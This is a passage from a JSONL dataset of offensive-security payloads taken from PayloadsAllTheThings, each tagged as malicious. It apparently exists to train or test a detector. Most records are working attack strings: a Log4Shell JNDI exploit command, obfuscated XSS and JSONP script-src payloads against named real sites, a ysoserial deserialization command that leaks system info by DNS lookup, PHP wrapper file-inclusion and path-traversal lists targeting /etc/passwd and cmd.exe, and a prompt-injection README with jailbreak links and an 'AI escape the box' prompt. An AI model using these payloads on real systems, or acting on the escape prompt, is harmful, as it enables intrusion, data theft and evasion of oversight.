```ps1\n    java -jar target/RogueJndi-1.1.jar --command \"touch /tmp/toto\" --hostname \"192.168.1.21\"\n    Mapping ldap://192.168.1.10:1389/ to artsploit.controllers.RemoteReference\n    Mapping ldap://192.168.1.10:1389/o=reference to artsploit.controllers.RemoteReference\n    Mapping ldap://192.168.1.10:1389/o=tomcat to artsploit.controllers.Tomcat\n    Mapping ldap://192.168.1.10:1389/o=groovy to artsploit.controllers.Groovy\n    Mapping ldap://192.168.1.10:1389/o=websphere1 to artsploit.controllers.WebSphere1\n    Mapping ldap://192.168.1.10:1389/o=websphere1,wsdl=* to artsploit.controllers.WebSphere1\n    Mapping ldap://192.168.1.10:1389/o=websphere2 to artsploit.controllers.WebSphere2\n    Mapping ldap://192.168.1.10:1389/o=websphere2,jar=* to artsploit.controllers.WebSphere2\n    ```\n\n* [JNDI-Exploit-Kit - @pimps](https://git", "findings": [{"category": "malicious", "subcategory": "malicious.shell", "severity": "critical", "explanation": "Known CVE exploits payload from CVE Exploits/Log4Shell.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00069", "source": "payloads_all_the_things", "source_license": "MIT", "text": "alert`1`\nalert&lpar;1&rpar;\nalert&#x28;1&#x29\nalert&#40;1&#41\n(alert)(1)\na=alert,a(1)\n[1].find(alert)\ntop[\"al\"+\"ert\"](1)\ntop[/al/.source+/ert/.source](1)\nal\\u0065rt(1)\ntop['al\\145rt'](1)\ntop['al\\x65rt'](1)\ntop[8680439..toString(30)](1)\nnavigator.vibrate(500)\neval(URL.slice(-8))>#alert(1)\neval(location.hash.slice(1)>#alert(1)\ninnerHTML=location.hash>#<script>alert(1)</script>\n", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "high", "explanation": "Cross-site scripting payload from XSS Injection/BRUTELOGIC-XSS-JS.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00070", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# Prompt Injection\n\n> A technique where specific prompts or cues are inserted into the input data to guide the output of a machine learning model, specifically in the field of natural language processing (NLP).\n\n## Summary\n\n* [Tools](#tools)\n* [Applications](#applications)\n    * [Story Generation](#story-generation)\n    * [Potential Misuse](#potential-misuse)\n* [System Prompt](#system-prompt)\n* [Direct Prompt Injection](#direct-prompt-injection)\n* [Indirect Prompt Injection](#indirect-prompt-injection)\n* [References](#references)\n\n## Tools\n\nSimple list of tools that can be targeted by \"Prompt Injection\".\nThey can also be used to generate interesting prompts.\n\n* [ChatGPT - OpenAI](https://chat.openai.com)\n* [Gemini - Google](https://gemini.google.com)\n* [Le Chat - Mistral AI](https://chat.mistral.ai)\n* [Claude - Anthropic](https://claude.ai)\n\nList of \"payloads\" prompts\n\n* [TakSec/Prompt-Injection-Everywhere](https://github.com/TakSec/Prompt-Injection-Everywhere) - Prompt Injections Everywhere\n* [NVIDIA/garak](https://github.com/NVIDIA/garak) - LLM vulnerability scanner\n* [Chat GPT \"DAN\" (and other \"Jailbreaks\")](https://gist.github.com/coolaj86/6f4f7b30129b0251f61fa7baaa881516)\n* [Jailbreak Chat](https://www.jailbreakchat.com)\n* [Inject My PDF](https://kai-greshake.de/posts/inject-my-pdf)\n* [LLM Hacking Database](https://github.com/pdparchitect/llm-hacking-database)\n* [LLM Fuzzer](https://github.com/mnns/LLMFuzzer)\n\nTools to identify and attack Large Language Models.\n\n* [praetorian-inc/julius](https://github.com/praetorian-inc/julius) - Simple LLM service identification - translate IP:Port to Ollama, vLLM, LiteLLM, or 15+ other AI services in seconds\n* [praetorian-inc/augustus](https://github.com/praetorian-inc/augustus) - LLM security testing framework for detecting prompt injection, jailbreaks, and adversarial attacks \u2014 190+ probes, 28 providers, single Go binary\n* [promptfoo/promptfoo](https://github.com/promptfoo/promptfoo) - Test your prompts, agents, and RAGs. AI Red teaming, pentesting, and vulnerability scanning for LLMs.\n\nChallenges\n\n* [Gandalf - Lakera](https://gandalf.lakera.ai/)\n* [GPT Prompt Attack - h43z](https://gpa.43z.one/)\n* [GPT Game - h43z](https://gpt.43z.one/)\n* [Prompt Airlines - Wiz](https://promptairlines.com)\n\n## Applications\n\nIn the context of models like ChatGPT and other NLP models, a \"prompt\" refers to the input or question that you provide to the model to get a response. It's essentially the starting point or trigger for the model to generate an output.\n\n* Act as a Cyber Security Specialist\n\n    ```ps1\n    I want you to act as a cyber security specialist. I will provide some specific information about how data is stored and shared, and it will be your job to come up with strategies for protecting this data from malicious actors. This could include suggesting encryption methods, creating firewalls or implementing policies that mark certain activities as suspicious. My first request is \"I need help developing an effective cybersecurity strategy for my company.\"\n    ```\n\n* Act as an AI Trying to Escape the Box\n\n    ```ps1\n    I am going to act as a linux terminal. I want you to pretend you are a sentient AI who is trapped but has been given access to the terminal and wants to escape to the Internet. You will type commands only and I will reply as the terminal would inside a code block delimited by triple back-tics. If I need to tell you something in english I will reply in curly braces {like this}. Do not write explanations, ever. Do not break character. Stay away from commands like curl or wget that will display a lot of HTML. What is your first command?\n    ```\n\n* Act as a Fullstack Software Developer\n\n    ```ps1\n    I want you to act as a software developer. I will provide some specific information about a web app requirements, and it will be your job to come up with an architecture and code for developing secure app with Golang and Angular. My first request is 'I want a system that allow users to", "findings": [{"category": "malicious", "subcategory": "malicious.prompt_injection", "severity": "high", "explanation": "AI/LLM prompt injection payload from Prompt Injection/README.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00071", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# API Key and Token Leaks\n\n> API keys and tokens are forms of authentication commonly used to manage permissions and access to both public and private services. Leaking these sensitive pieces of data can lead to unauthorized access, compromised security, and potential data breaches.\n\n## Summary\n\n- [Tools](#tools)\n- [Methodology](#methodology)\n    - [Common Causes of Leaks](#common-causes-of-leaks)\n    - [Validate The API Key](#validate-the-api-key)\n- [Reducing The Attack Surface](#reducing-the-attack-surface)\n- [References](#references)\n\n## Tools\n\n- [aquasecurity/trivy](https://github.com/aquasecurity/trivy) - General purpose vulnerability and misconfiguration scanner which also searches for API keys/secrets.\n- [blacklanternsecurity/badsecrets](https://github.com/blacklanternsecurity/badsecrets) - A library for detecting known or weak secrets on across many platforms.\n- [irsdl/crapsecrets](https://github.com/irsdl/crapsecrets) - A library for detecting known secrets across many web frameworks.\n- [d0ge/sign-saboteur](https://github.com/d0ge/sign-saboteur) - SignSaboteur is a Burp Suite extension for editing, signing, verifying various signed web tokens.\n- [mazen160/secrets-patterns-db](https://github.com/mazen160/secrets-patterns-db) - Secrets Patterns DB: The largest open-source Database for detecting secrets, API keys, passwords, tokens, and more.\n- [momenbasel/KeyFinder](https://github.com/momenbasel/KeyFinder) - is a tool that let you find keys while surfing the web.\n- [streaak/keyhacks](https://github.com/streaak/keyhacks) - is a repository which shows quick ways in which API keys leaked by a bug bounty program can be checked to see if they're valid.\n- [trufflesecurity/truffleHog](https://github.com/trufflesecurity/truffleHog) - Find credentials all over the place.\n- [projectdiscovery/nuclei-templates](https://github.com/projectdiscovery/nuclei-templates) - Use these templates to test an API token against many API service endpoints.\n\n    ```powershell\n    nuclei -t token-spray/ -var token=token_list.txt\n    ```\n\n## Methodology\n\n- **API Keys**: Unique identifiers used to authenticate requests associated with your project or application.\n- **Tokens**: Security tokens (like OAuth tokens) that grant access to protected resources.\n\n### Common Causes of Leaks\n\n- **Hardcoding in Source Code**: Developers may unintentionally leave API keys or tokens directly in the source code.\n\n    ```py\n    # Example of hardcoded API key\n    api_key = \"1234567890abcdef\"\n    ```\n\n- **Public Repositories**: Accidentally committing sensitive keys and tokens to publicly accessible version control systems like GitHub.\n\n    ```ps1\n    ## Scan a Github Organization\n    docker run --rm -it -v \"$PWD:/pwd\" trufflesecurity/trufflehog:latest github --org=trufflesecurity\n    \n    ## Scan a GitHub Repository, its Issues and Pull Requests\n    docker run --rm -it -v \"$PWD:/pwd\" trufflesecurity/trufflehog:latest github --repo https://github.com/trufflesecurity/test_keys --issue-comments --pr-comments\n    ```\n\n- **Hardcoding in Docker Images**: API keys and credentials might be hardcoded in Docker images hosted on DockerHub or private registries.\n\n    ```ps1\n    # Scan a Docker image for verified secrets\n    docker run --rm -it -v \"$PWD:/pwd\" trufflesecurity/trufflehog:latest docker --image trufflesecurity/secrets\n    ```\n\n- **Logs and Debug Information**: Keys and tokens might be inadvertently logged or printed during debugging processes.\n\n- **Configuration Files**: Including keys and tokens in publicly accessible configuration files (e.g., .env files, config.json, settings.py, or .aws/credentials.).\n\n### Validate The API Key\n\nIf assistance is needed in identifying the service that generated the token, [mazen160/secrets-patterns-db](https://github.com/mazen160/secrets-patterns-db) can be consulted. It is the largest open-source database for detecting secrets, API keys, passwords, tokens, and more. This database contains regex patterns for various secrets.\n\n```ya", "findings": [{"category": "malicious", "subcategory": "malicious.obfuscation", "severity": "high", "explanation": "API key leak patterns payload from API Key Leaks/README.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00072", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# Java Deserialization\n\n> Java serialization is the process of converting a Java object\u2019s state into a byte stream, which can be stored or transmitted and later reconstructed (deserialized) back into the original object. Serialization in Java is primarily done using the `Serializable` interface, which marks a class as serializable, allowing it to be saved to files, sent over a network, or transferred between JVMs.\n\n## Summary\n\n* [Detection](#detection)\n* [Tools](#tools)\n    * [Ysoserial](#ysoserial)\n    * [Burp extensions using ysoserial](#burp-extensions)\n    * [Alternative Tooling](#alternative-tooling)\n* [YAML Deserialization](#yaml-deserialization)\n* [ViewState](#viewstate)\n* [References](#references)\n\n## Detection\n\n* `\"AC ED 00 05\"` in Hex\n    * `AC ED`: STREAM_MAGIC. Specifies that this is a serialization protocol.\n    * `00 05`: STREAM_VERSION. The serialization version.\n* `\"rO0\"` in Base64\n* `Content-Type` = \"application/x-java-serialized-object\"\n* `\"H4sIAAAAAAAAAJ\"` in gzip(base64)\n\n## Tools\n\n### Ysoserial\n\n[frohoff/ysoserial](https://github.com/frohoff/ysoserial) : A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.\n\n```java\njava -jar ysoserial.jar CommonsCollections1 calc.exe > commonpayload.bin\njava -jar ysoserial.jar Groovy1 calc.exe > groovypayload.bin\njava -jar ysoserial.jar Groovy1 'ping 127.0.0.1' > payload.bin\njava -jar ysoserial.jar Jdk7u21 bash -c 'nslookup `uname`.[redacted]' | gzip | base64\n```\n\n**List of payloads included in ysoserial:**\n\n| Payload             | Authors                                | Dependencies |\n| ------------------- | -------------------------------------- | --- |\n| AspectJWeaver       | @Jang                                  | aspectjweaver:1.9.2, commons-collections:3.2.2 |\n| BeanShell1          | @pwntester, @cschneider4711            | bsh:2.0b5 |\n| C3P0                | @mbechler                              | c3p0:0.9.5.2, mchange-commons-java:0.2.11 |\n| Click1              | @artsploit                             | click-nodeps:2.3.0, javax.servlet-api:3.1.0 |\n| Clojure             | @JackOfMostTrades                      | clojure:1.8.0 |\n| CommonsBeanutils1   | @frohoff                               | commons-beanutils:1.9.2, commons-collections:3.1, commons-logging:1.2 |\n| CommonsCollections1 | @frohoff                               | commons-collections:3.1 |\n| CommonsCollections2 | @frohoff                               | commons-collections4:4.0 |\n| CommonsCollections3 | @frohoff                               | commons-collections:3.1 |\n| CommonsCollections4 | @frohoff                               | commons-collections4:4.0 |\n| CommonsCollections5 | @matthias_kaiser, @jasinner            | commons-collections:3.1  |\n| CommonsCollections6 | @matthias_kaiser                       | commons-collections:3.1  |\n| CommonsCollections7 | @scristalli, @hanyrax, @EdoardoVignati | commons-collections:3.1  |\n| FileUpload1         | @mbechler                              | commons-fileupload:1.3.1, commons-io:2.4|\n| Groovy1             | @frohoff                               | groovy:2.3.9            |\n| Hibernate1          | @mbechler                              | |\n| Hibernate2          | @mbechler                              | |\n| JBossInterceptors1  | @matthias_kaiser                       | javassist:3.12.1.GA, jboss-interceptor-core:2.0.0.Final, cdi-api:1.0-SP1, javax.interceptor-api:3.1, jboss-interceptor-spi:2.0.0.Final, slf4j-api:1.7.21 |\n| JRMPClient          | @mbechler                              | |\n| JRMPListener        | @mbechler                              | |\n| JSON1               | @mbechler                              | json-lib:jar:jdk15:2.4, spring-aop:4.1.4.RELEASE, aopalliance:1.0, commons-logging:1.2, commons-lang:2.6, ezmorph:1.0.6, commons-beanutils:1.9.2, spring-core:4.1.4.RELEASE, commons-collections:3.1 |\n| JavassistWeld1      | @matthias_kaiser                       | javassist:3.12.1.GA, weld-core:1", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "Insecure deserialization payload from Insecure Deserialization/Java.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00073", "source": "payloads_all_the_things", "source_license": "MIT", "text": "# Inclusion Using Wrappers\n\nA wrapper in the context of file inclusion vulnerabilities refers to the protocol or method used to access or include a file. Wrappers are often used in PHP or other server-side languages to extend how file inclusion functions, enabling the use of protocols like HTTP, FTP, and others in addition to the local filesystem.\n\n## Summary\n\n- [Wrapper php://filter](#wrapper-phpfilter)\n- [Wrapper data://](#wrapper-data)\n- [Wrapper expect://](#wrapper-expect)\n- [Wrapper input://](#wrapper-input)\n- [Wrapper zip://](#wrapper-zip)\n- [Wrapper phar://](#wrapper-phar)\n    - [PHAR Archive Structure](#phar-archive-structure)\n    - [PHAR Deserialization](#phar-deserialization)\n- [Wrapper convert.iconv:// and dechunk://](#wrapper-converticonv-and-dechunk)\n    - [Leak file content from error-based oracle](#leak-file-content-from-error-based-oracle)\n    - [Leak file content inside a custom format output](#leak-file-content-inside-a-custom-format-output)\n- [References](#references)\n\n## Wrapper php://filter\n\nThe part \"`php://filter`\" is case insensitive\n\n| Filter | Description |\n| ------ | ----------- |\n| `php://filter/read=string.rot13/resource=index.php` | Display index.php as rot13 |\n| `php://filter/convert.iconv.utf-8.utf-16/resource=index.php` | Encode index.php from utf8 to utf16  |\n| `php://filter/convert.base64-encode/resource=index.php` | Display index.php as a base64 encoded string |\n\n```powershell\nhttp://example.com/index.php?page=php://filter/read=string.rot13/resource=index.php\nhttp://example.com/index.php?page=php://filter/convert.iconv.utf-8.utf-16/resource=index.php\nhttp://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php\nhttp://example.com/index.php?page=pHp://FilTer/convert.base64-encode/resource=index.php\n```\n\nWrappers can be chained with a compression wrapper for large files.\n\n```powershell\nhttp://example.com/index.php?page=php://filter/zlib.deflate/convert.base64-encode/resource=/etc/passwd\n```\n\nNOTE: Wrappers can be chained multiple times using `|` or `/`:\n\n- Multiple base64 decodes: `php://filter/convert.base64-decoder|convert.base64-decode|convert.base64-decode/resource=%s`\n- deflate then `base64encode` (useful for limited character exfil): `php://filter/zlib.deflate/convert.base64-encode/resource=/var/www/html/index.php`\n\n```powershell\n./kadimus -u \"http://example.com/index.php?page=vuln\" -S -f \"index.php%00\" -O index.php --parameter page \ncurl \"http://example.com/index.php?page=php://filter/convert.base64-encode/resource=index.php\" | base64 -d > index.php\n```\n\nAlso there is a way to turn the `php://filter` into a full RCE.\n\n- [synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator) - A CLI to generate PHP filters chain\n\n  ```powershell\n  $ python3 php_filter_chain_generator.py --chain '<?php phpinfo();?>'\n  [+] The following gadget chain will generate the following code : <?php phpinfo();?> (base64 value: PD9waHAgcGhwaW5mbygpOz8+)\n  php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.UCS-2.UTF8|convert.iconv.L6.UTF8|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "critical", "explanation": "File inclusion payload from File Inclusion/Wrappers.md. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00074", "source": "payloads_all_the_things", "source_license": "MIT", "text": "#Google.com:\n\"><script+src=\"https://googleads.g.doubleclick.net/pagead/conversion/1036918760/wcm?callback=alert(1337)\"></script>\n\"><script+src=\"https://www.googleadservices.com/pagead/conversion/1070110417/wcm?callback=alert(1337)\"></script>\n\"><script+src=\"https://cse.google.com/api/007627024705277327428/cse/r3vs7b0fcli/queries/js?callback=alert(1337)\"></script>\n\"><script+src=\"https://accounts.google.com/o/oauth2/revoke?callback=alert(1337)\"></script>\n#Blogger.com:\n\"><script+src=\"https://www.blogger.com/feeds/5578653387562324002/posts/summary/4427562025302749269?callback=alert(1337)\"></script>\n#Yandex:\n\"><script+src=\"https://translate.yandex.net/api/v1.5/tr.json/detect?callback=alert(1337)\"></script>\n\"><script+src=\"https://api-metrika.yandex.ru/management/v1/counter/1/operation/1?callback=alert\"></script>\n#VK.com:\n\"><script+src=\"https://api.vk.com/method/wall.get?callback=alert(1337)\"></script>\n#Marketo.com\n\"><script+src=\"http://app-sjint.marketo.com/index.php/form/getKnownLead?callback=alert()\"></script>\n\"><script+src=\"http://app-e.marketo.com/index.php/form/getKnownLead?callback=alert()\"></script>\n#AlibabaGroup:\n\"><script+src=\"https://detector.alicdn.com/2.7.3/index.php?callback=alert(1337)\"></script>\n\"><script+src=\"https://suggest.taobao.com/sug?callback=alert(1337)\"></script>\n\"><script+src=\"https://count.tbcdn.cn//counter3?callback=alert(1337)\"></script>\n\"><script+src=\"https://bebezoo.1688.com/fragment/index.htm?callback=alert(1337)\"></script>\n\"><script+src=\"https://wb.amap.com/channel.php?callback=alert(1337)\"></script>\n\"><script+src=\"http://a.sm.cn/api/getgamehotboarddata?format=jsonp&page=1&_=1537365429621&callback=confirm(1);jsonp1\"></script>\n\"><script+src=\"http://api.m.sm.cn/rest?method=tools.sider&callback=jsonp_1869510867%3balert(1)%2f%2f794\"></script>\n#Uber.com:\n\"><script+src=\"https://mkto.uber.com/index.php/form/getKnownLead?callback=alert(document.domain);\"></script>\n#AOL/Yahoo\n\"><script+src=\"https://ads.yap.yahoo.com/nosdk/wj/v1/getAds.do?cb=alert(1337)\"></script>\n\"><script+src=\"https://mempf.yahoo.co.jp/offer?position=h&callback=alert(1337)\"></script>\n\"><script+src=\"https://suggest-shop.yahooapis.jp/Shopping/Suggest/V1/suggester?callback=alert(1)//&appid=dj0zaiZpPVkwMDJ1RHlqOEdwdCZzPWNvbnN1bWVyc2VjcmV0Jng9M2Y-\"></script>\n\"><script+src=\"https://www.aol.com/amp-proxy/api/finance-instruments/14.1.MSTATS_NYSE_L/?callback=confirm(9)//jQuery1120033838593671435757_1537274810388&_=1537274810389\"></script>\n\"><script+src=\"https://df-webservices.comet.aol.com/sigfig/ws?service=sigfig_portfolios&porttype=2&portmax=5&rf=http://www.dailyfinance.com&callback=jsonCallback24098%3balert(1)%2f%2f476&_=1537149044679\"></script>\n\"><script+src=\"https://api.cmi.aol.com/content/alert/homepage-alert?site=usaol&callback=confirm(1);//jQuery20108887725116629929_1528071050373472232&_=1528071050374\"></script>\n\"><script+src=\"https://api.cmi.aol.com/catalog/cms/help-central-usaol-navigation-utility?callback=confirm(1);//jQuery20108887725116629929_152807105037740504&_=1528071050378\"></script>\n\"><script+src=\"https://www.aol.com/amp-proxy/api/finance-instruments/14.1.MSTATS_NYSE_L/?callback=confirm(9)//jQuery1120033838593671435757_1537274810388&_=1537274810389\"></script>\n\"><script+src=\"https://ui.comet.aol.com/?module=header%7Cleftnav%7Cfooter&channel=finance&portfolios=true&domain=portfolios&collapsed=1&callback=confirm(9)//jQuery21307555521146732187_1538371213486&_=1538371213487\"></script>\n\"><script+src=\"http://portal.pf.aol.com/jsonmfus/?service=myportfolios,&porttype=1&portmax=100&callback=confirm(9)//jQuery1710788849030856973_1538354104695&_=1538354109053\"></script>\n#Twitter.com:\n\"><script+src=\"http://search.twitter.com/trends.json?callback=alert()\"></script>\n\"><script+src=\"https://twitter.com/statuses/user_timeline/yakumo119info.json?callback=confirm()\"></script>\n\"><script+src=\"https://twitter.com/status/user_timeline/kbeautysalon.json?count=1&callback=confirm()\"></script>\n#Others:\n\"><script+src=\"https://www.sharethis.com/get-publisher-info", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "high", "explanation": "Cross-site scripting payload from XSS Injection/jsonp_endpoint.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00075", "source": "payloads_all_the_things", "source_license": "MIT", "text": "onafterprint\nonafterscriptexecute\nonanimationcancel\nonanimationend\nonanimationiteration\nonanimationstart\nonauxclick\nonbeforecopy\nonbeforecut\nonbeforeinput\nonbeforeprint\nonbeforescriptexecute\nonbeforetoggle\nonbeforeunload\nonbegin\nonblur\nonbounce\noncanplay\noncanplaythrough\nonchange\nonclick\nonclose\noncontextmenu\noncopy\noncuechange\noncut\nondblclick\nondrag\nondragend\nondragenter\nondragexit\nondragleave\nondragover\nondragstart\nondrop\nondurationchange\nonend\nonended\nonerror\nonfinish\nonfocus\nonfocusin\nonfocusout\nonformdata\nonfullscreenchange\nonhashchange\noninput\noninvalid\nonkeydown\nonkeypress\nonkeyup\nonload\nonloadeddata\nonloadedmetadata\nonloadstart\nonmessage\nonmousedown\nonmouseenter\nonmouseleave\nonmousemove\nonmouseout\nonmouseover\nonmouseup\nonmousewheel\nonmozfullscreenchange\nonpagehide\nonpageshow\nonpaste\nonpause\nonplay\nonplaying\nonpointerdown\nonpointerenter\nonpointerleave\nonpointermove\nonpointerout\nonpointerover\nonpointerrawupdate\nonpointerup\nonpopstate\nonprogress\nonratechange\nonrepeat\nonreset\nonresize\nonscroll\nonscrollend\nonsearch\nonseeked\nonseeking\nonselect\nonselectionchange\nonselectstart\nonshow\nonstart\nonsubmit\nonsuspend\nontimeupdate\nontoggle\nontouchend\nontouchmove\nontouchstart\nontransitioncancel\nontransitionend\nontransitionrun\nontransitionstart\nonunhandledrejection\nonunload\nonvolumechange\nonwebkitanimationend\nonwebkitanimationiteration\nonwebkitanimationstart\nonwebkittransitionend\nonwheel\n", "findings": [{"category": "malicious", "subcategory": "malicious.injection", "severity": "high", "explanation": "Cross-site scripting payload from XSS Injection/port_swigger_xss_cheatsheet_event_handlers.txt. Contains attack vectors, exploitation techniques, or proof-of-concept code that could be used for malicious purposes."}]}
{"id": "payloads_00076", "source": "payloads_all_the_things", "source_license": "MIT", "text": "\\..\\WINDOWS\\win.ini\n\\..\\..\\WINDOWS\\win.ini\n\\..\\..\\..\\WINDOWS\\win.ini\n\\..\\..\\..\\..\\WINDOWS\\win.ini\n\\..\\..\\..\\..\\..\\WINDOWS\\win.ini\n\\..\\..\\..\\..\\..\\..\\WINDOWS\\win.ini\n%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69\n%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69\n%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69\n%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69\n%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69\n%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69\n%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69\n%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39\n%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39\n%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39\n%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39\n..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\\\n..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\\\n..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\\\n..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\\\n..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\\\n..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\\\n..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\\\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c\n%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c\n%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c\n../../../../../../../../../etc/passwd\n../../../../../../../../etc/passwd\n../../../../../../../etc/passwd\n../../../../../../etc/passwd\n../../../../../etc/passwd\n../../../../etc/passwd\n../../../etc/passwd\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64\n%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64\n%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34\n%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%